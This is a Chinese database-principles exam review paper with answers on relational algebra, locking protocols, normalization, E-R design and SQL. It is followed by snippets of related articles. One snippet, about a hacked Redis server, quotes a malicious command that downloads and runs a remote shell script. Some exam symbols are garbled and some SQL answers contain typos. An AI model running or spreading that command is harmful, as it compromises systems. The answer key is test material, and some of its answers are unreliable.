数据库原理与应用期末复习试卷2
数据库原理技术与应用
一.单项选择题
- 设有属性A,B,C,D,以下表示中不是关系的是( C)
A、R(A) B、R(A, B, C, D) C、R(AxBxCxD) D、R(A,B)
- 在SQL语言中的视图VIEW是数据库的(A)。
A、外模式 B、模式 c、内模式 D、存储模式
-
事务了在修改数据R之前必须先对其加X锁,直到事务结束才释放,这是(A)
A、一级封锁协议 B、二级封锁协议 C、三级封锁协议 D.零级封锁协议
-
o p1 (o p2 ®)等价于( B)。
A、o p1 v p2 ® B、o p1 ^ p2 ® C、op1® D、op2®
- 在关系数据库系统中,为了简化用户的查询操作,而又不增加数据的存储空间,常用的方法是创建©。
A、另一个表 B、游标 C、视图 D、索引
- 有关系SC(S_ID,C_ID,AGE,SCORE),查找年龄大于22岁的学生的学号和分数,正确的关系代数表达式是( D)。
i. Πs_id,score ( o age>22(SC) )
ii. Π age>22 (Πs_id,score(SC) )
iii.Π s_id,score (o age>22 (Πs_id,score,age(SC)))
A、i和ii正确 B、只有ii正确 C、只有 i正确 D、i和iii正
-
两个原来不包含空值的关系进行左外连接运算,结果中(B)会出现空值?
A、原来左关系的属性 B、原来右关系的属性C、左右关系的属性都会 D、左右关系的属性都不会
-
规定关系的所有主属性都不能取空值,是用来实现哪一类完整性约束(A)
A、实体完整性 B、域完整性 C、参照完整性 D、用户自定义的完整性
-
学生关系(学号,姓名,性别,年龄,系号,系名)中,“系名”对主关键字“学号”的函数依赖是©。
A、完全函数依赖 B、部分函数依赖 C、传递函数依赖 D、平凡函数依赖
- B表字段a类型int中有100条记录,值分别为1至100。如下语句
SELECT a FROM B
WHERE a BETWEEN 1 AND 50 OR (a IN (25,70,95) AND a BETWEEN 25 AND
75)
则如下哪个值在这个8ql语句返回的结果集中(A)
A、30 B、51 C、75 D、95
- 事务的一致性是指(D).
A、事务中包括的所有操作要么都做,要么都不做
B、事务一旦提交,对数据库的改变是永久的
C、一个事务内部的操作及使用的数据对并发的其他事务是隔高的
D、事务必须是使数据库从一个一致性状态变到另一个一致性状态
- 数据库系统由(D)组成。
A、数据库及其必备的硬件系统
B、数据库及相应的硬件、软件系统
C、数据库及相应的软件系统
D、数据库及相应的硬件、软件系统和各类相关人员
- 下述哪一条是并发控制的主要方法(B)。
A、授权 B、封锁 C、日志 D、索引
14 .在关系R中,U是主码,X是一个属性集,如果X→U,那么X是一个(B)
A、候选码 B、超码 C、主码 D、外部码
- 员工表staff表结构如下:
staffNO varchar2(10),
Email varchar2(50)
哪一个SQL语句查询出没有E_mail地址的员工号 ©
A.select staffno from Staff where Emai = NULL
B. select staffno from Staff where Email NULL
C. select staffno from Staff where Email is mull
D.select staffno from Staff where Email is not mull
- 不属于视图的优点是(A)
A、视图能够加快查询的速度 B、视图使用户能以多种角度看待同一数据
C、视图对重构数据库提供了一定程度的逻辑独立性
D、视图能够对机密数据提供安全保护
- 关系数据库规范化是为了解决关系数据库中( A)的问题而引入的。
A、插入、删除异常和数据冗余 B、提高查询速度
C、减少数据操作的复杂性 D、保证数据的安全性和完整性
- 已知表T1中有2行数据 ,T2中有3行数据,执行SQL语句“select a,* from T1 a,T2 b”后,返回的行数为(D)。
A、2行 B.3行 C、5行 D、6行
- 数据库恢复的基础是利用转储的冗余数据,这些转储的冗余数据包括(C)
A、数据字典,应用程序,审计档案,数据库后备副本
B.数据字典,应用程序,审计档案,日志文件
C、日志文件,数据库后备副本
D. 数据字典,应用程序,数据库后备副本
- 关于索引(index)的说法哪些是错误?(A)
A、创建索引能提高数据插入的性能
B、索引应该根据具体的检索需求来创建,在选择性好的列上创建索引
C、索引并非越多越好
D、建立富引可使检索操作更迅速
二.判断题
-
超码一定是候选码。(X)
-
遵守两段锁协议的调度一定是可串行化调度。(√)
-
在关系数据库中,用主码来保证参照完整性。(X)
-
单码的1NF一定是 2NF。(√)
-
自然连接要求相等的分量必须有共同的属性名,等值连接则不要求。(√)
-
遵守三级封锁协议不一定遵守两段锁协议。(×)
-
基本的关系运算是:并、交、积、选择、投影。(×)
-
UPDATE语句是用来修改表结构的,ALTER 语句是用来修改表中数据的。(X)
三.填空题
-
并发操作带来的数据不一致性包括三类:(丢失修改)、(读“脏”数据 )和(不可重复读)
-
一般地,当删除被参照关系的某个元组,而参照关系存在若干元组,其外码值与被参照关系删除元组的主码值相同,这时可有三种不同的策略:(级联删除)、受限删除、置空值删除。
-
存在两个结构相同的数据库表T1(col1,co12,co13)、T2(col1,co12,col3).写出相应SQL语句将所有T1数据导入到T2表(insert into T2 select * from T1)
-
在数据库的三级模式体系结构中,模式与内模式之间的映象(模式/内模式),实现了数据库的(物理)独立性。
-
在关系A(S, SN, D)和B(D,CN,NM)中,A的主健是S,B的主键是D,则D在A中称为(外码).
-
设有关系模式R(U,F),其中U=(A,B,C,D,E); F=(AB→C,B→D,C→E,EC→B,AC一B):那么(AB)~为(ABCDE),
-
(日志)是用来记录事务对数据库的更新操作的文件。
-
在SQL语言中,为了数据库的安全性,设置了对数据的存取进行控制的语句,对用户授权使用(GRANT)语句,收回所授的权限使用(REVOKE)语句。如果想让授权的用户,也可以将这些权限转授给其他用户,需要选项( WITH GRANT OPTION)。
-
系统故障可能会造成数据库处于不一致状态:一是未完成事务对数据库更新可能已写入数据库;二是已提交事务对数据库的更新可能还留在缓冲没来得及写入数据库。因此恢复操作就是要(撤销UNDO)故障发生时未完
四.分析与应用题
- R(U,F) U=(A,B,C,D ) F= (D->B,B->D, AC->D)
(1)分析关系R的候选码为?
(2)分析是否属于2NF范式?关系是否属于3NF范式?需分析
(3)如果关系不是3NF,将其规范到3NF
- 某社商业集团数据库中有3个实体集:
“商店”实体集,属性有商店编号、商店名、地址:
“商品”实体集,属性有商品号、商品名,规格、单价:
“职工”实体集,属性有职工编号、姓名、性别、业绩。
商店与商品之间存在“销售”联系,每个商店可销售多种商品,每中商品也可以放在多个商店销售,每个商店销 售的一种商品有月销售量:商店与职工之网存在“聘用”联系,每个商店有许多职工,每个职工只能在一个商店 工作
(1)设计满是上述要求的E-R图。(4分)
(2)将你的E-R图转化为关系模型,并指出关系的主键和外键。(4分)
商店(商店编号,商店名,地址) 商店编号为主码
职工(职工编号,姓名,性别,业绩,商店编号,聘期,工资)职工编号为主码,商店编号为外码
商品(商品号,商品名,规格,单价)商品号为主码
销售(商店编号,商品号,月销售量)商店编号+商品编号为主码
五.请用SQL语句完成以下操作
现有关系数据库如下:
Student(Sno,Sname,Sex, Age,City, Class) 学生关系,以上属性含义为;学号,姓名,性别,年龄,籍贯,所在班级
Course(Cno,Cname, Grade, Tno)课程关系,以上性含义为:课程程名,开设年级,任课教师号
Teacher(Tno,Tname, Age, City)教师关系,以上属性含义为:教师号,教师名,年龄,籍贯
SC(Sno, Cno, Score)选修关系,以上属性含义为:学号,课程号,成绩
-
试写出学生关系Student创建的SQL语句,在创建时给学生关系Student添加约束;学号为主键;性别的默认值为“男”;学生的年龄必须大于13岁
create table Student(
Sno char(10) primary key,
Sname char(10),
Sex char(2) default ‘男’
Age int check(age>13),
City char(20),
Class char(20)
)
-
删除Course的某些记录,条件为“李梅”老师负责授课的课程。
delete from Course where Tno = (select Tno from T where Tname = ‘李梅’)
-
修改SC的某些成绩,条件为课程名为“数据库”的所有成绩增加5分。
update SC set Score = Sscore+5 where cno = (select cno from Course where Cname=‘数据库’)
-
查询哪些学生的考试平均成绩高于全体学生的平均成绩,列出这些学生的学号、姓名、平均成绩。
select student.sno,sname,avg(score) from student join sc on student.sno=sc.sno
group by student.sno,sname
having avg(score)>(select avg (score) from sc)
-
哪些学生的籍贯与教师李梅的籍贯相同。列出这些学生的学号、姓名、籍贯。
select student.sno,sname,city from student where city = (select city from t where tname = ‘李梅’)
相关文章:
数据库原理与应用期末复习试卷2
数据库原理技术与应用 一.单项选择题 设有属性A,B,C,D,以下表示中不是关系的是( C) A、R(A) B、R(A, B, C, D) C、R(AxBxCxD) D、R(A,B) 在SQL语言中的视图VIEW是数据库的(A)…...
操作系统丨单元测试
文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是(D)。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以(D)为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...
tcp/ip协议2实现的插图,数据结构6 (24 - 章)
(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...
Linux链接的创建,删除,修改
目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用,…...
HarmoryOS Ability页面的生命周期
接入穿山甲SDK app示例: android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK,实现app流量变现 Ability页面的生命周期 学习前端,第一步最重要的是要理解,页面启动和不同场景下的生命周期的…...
【Flink 从入门到成神系列 一】算子
👏作者简介:大家好,我是爱敲代码的小黄,阿里巴巴淘天Java开发工程师,CSDN博客专家📕系列专栏:Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...
无人机自主寻优降落在移动车辆
针对无人机寻找并降落在移动车辆上的问题,一套可能的研究总体方案: 问题定义与建模: 确定研究的具体范围和目标,包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型(MDP)…...
科技感十足界面模板
科技感界面 在强调简洁的科技类产品相关设计中,背景多数分为:颜色或写实图片两种。 颜色很好理解,大多以深色底为主。强调一种神秘感和沉稳感,同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用,就要求其…...
pytest装饰器 @pytest.mark.parametrize 使用方法
pytest.mark.parametrize 有三种传参方法,分别是: 1.列表传参:将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参:将参数值作为元组传递给装饰器。 pytes…...
redis被攻击
之前由于redis没有修改端口,密码也比较简单,也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本,比如:Back1 Back2 Back3 Back4 ,内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式,如下…...
二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明
处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...
【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024
AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...
Unity组件开发--升降梯
我开发的升降梯由三个部分组成,反正适用于我的需求了,其他人想复用到自己的项目的话,不一定。写的也不是很好,感觉搞的有点复杂啦。完全可以在优化一下,项目赶工期,就先这样吧。能用就行,其他的…...
插槽slot涉及到的样式污染问题
1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中,我们主要关注以下两点: 父组件的样式是否会影响子组件的样式?子组件的样式是否会影响父组件定义的插槽部分的样式? 2. 准备代码 2.1 父组件代码 <te…...
OpenCV-Python(25):Hough直线变换
目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来,你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...
python接口自动化(七)--状态码详解对照表(详解)
1.简介 我们为啥要了解状态码,从它的作用,就不言而喻了。如果不了解,我们就会像个无头苍蝇,横冲直撞。遇到问题也不知道从何处入手,就是想找别人帮忙,也不知道是找前端还是后端的工程师。 状态码的作用是&a…...
Android 实现动态申请各项权限
在Android应用中,如果需要使用一些敏感的权限(例如相机、位置等),需要经过用户的授权才能访问。在Android 6.0(API级别23)及以上的版本中,引入了动态权限申请机制。以下是在Android应用中实现动…...
【leetcode】力扣热门之合并两个有序列表【简单难度】
题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入:l1 [1,2,4], l2 [1,3,4] 输出:[1,1,2,3,4,4] 输入:l1 [], l2 [] 输出:[] 输入:l1 []…...
安全与认证Week3 Tutorial+历年题补充
目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证,为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...
【Kotlin】协程
Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中,笔者发现很多异步或者耗时的操作,都使用了Kotlin中的协程,所以特地研究了一番。 定义 关于协程(Coroutine),其实…...
进程地址空间(比特课总结)
一、进程地址空间 1. 环境变量 1 )⽤户级环境变量与系统级环境变量 全局属性:环境变量具有全局属性,会被⼦进程继承。例如当bash启动⼦进程时,环 境变量会⾃动传递给⼦进程。 本地变量限制:本地变量只在当前进程(ba…...
Java 8 Stream API 入门到实践详解
一、告别 for 循环! 传统痛点: Java 8 之前,集合操作离不开冗长的 for 循环和匿名类。例如,过滤列表中的偶数: List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...
Springboot社区养老保险系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,社区养老保险系统小程序被用户普遍使用,为方…...
Web中间件--tomcat学习
Web中间件–tomcat Java虚拟机详解 什么是JAVA虚拟机 Java虚拟机是一个抽象的计算机,它可以执行Java字节码。Java虚拟机是Java平台的一部分,Java平台由Java语言、Java API和Java虚拟机组成。Java虚拟机的主要作用是将Java字节码转换为机器代码&#x…...
基于Java+VUE+MariaDB实现(Web)仿小米商城
仿小米商城 环境安装 nodejs maven JDK11 运行 mvn clean install -DskipTestscd adminmvn spring-boot:runcd ../webmvn spring-boot:runcd ../xiaomi-store-admin-vuenpm installnpm run servecd ../xiaomi-store-vuenpm installnpm run serve 注意:运行前…...
uniapp 小程序 学习(一)
利用Hbuilder 创建项目 运行到内置浏览器看效果 下载微信小程序 安装到Hbuilder 下载地址 :开发者工具默认安装 设置服务端口号 在Hbuilder中设置微信小程序 配置 找到运行设置,将微信开发者工具放入到Hbuilder中, 打开后出现 如下 bug 解…...
字符串哈希+KMP
P10468 兔子与兔子 #include<bits/stdc.h> using namespace std; typedef unsigned long long ull; const int N 1000010; ull a[N], pw[N]; int n; ull gethash(int l, int r){return a[r] - a[l - 1] * pw[r - l 1]; } signed main(){ios::sync_with_stdio(false), …...
【1】跨越技术栈鸿沟:字节跳动开源TRAE AI编程IDE的实战体验
2024年初,人工智能编程工具领域发生了一次静默的变革。当字节跳动宣布退出其TRAE项目(一款融合大型语言模型能力的云端AI编程IDE)时,技术社区曾短暂叹息。然而这一退场并非终点——通过开源社区的接力,TRAE在WayToAGI等…...
HTML版英语学习系统
HTML版英语学习系统 这是一个完全免费、无需安装、功能完整的英语学习工具,使用HTML CSS JavaScript实现。 功能 文本朗读练习 - 输入英文文章,系统朗读帮助练习听力和发音,适合跟读练习,模仿学习;实时词典查询 - 双…...
华为云Flexus+DeepSeek征文 | 基于Dify构建具备联网搜索能力的知识库问答助手
华为云FlexusDeepSeek征文 | 基于Dify构建具备联网搜索能力的知识库问答助手 一、构建知识库问答助手引言二、构建知识库问答助手环境2.1 基于FlexusX实例的Dify平台2.2 基于MaaS的模型API商用服务 三、构建知识库问答助手实战3.1 配置Dify环境3.2 创建知识库问答助手3.3 使用知…...
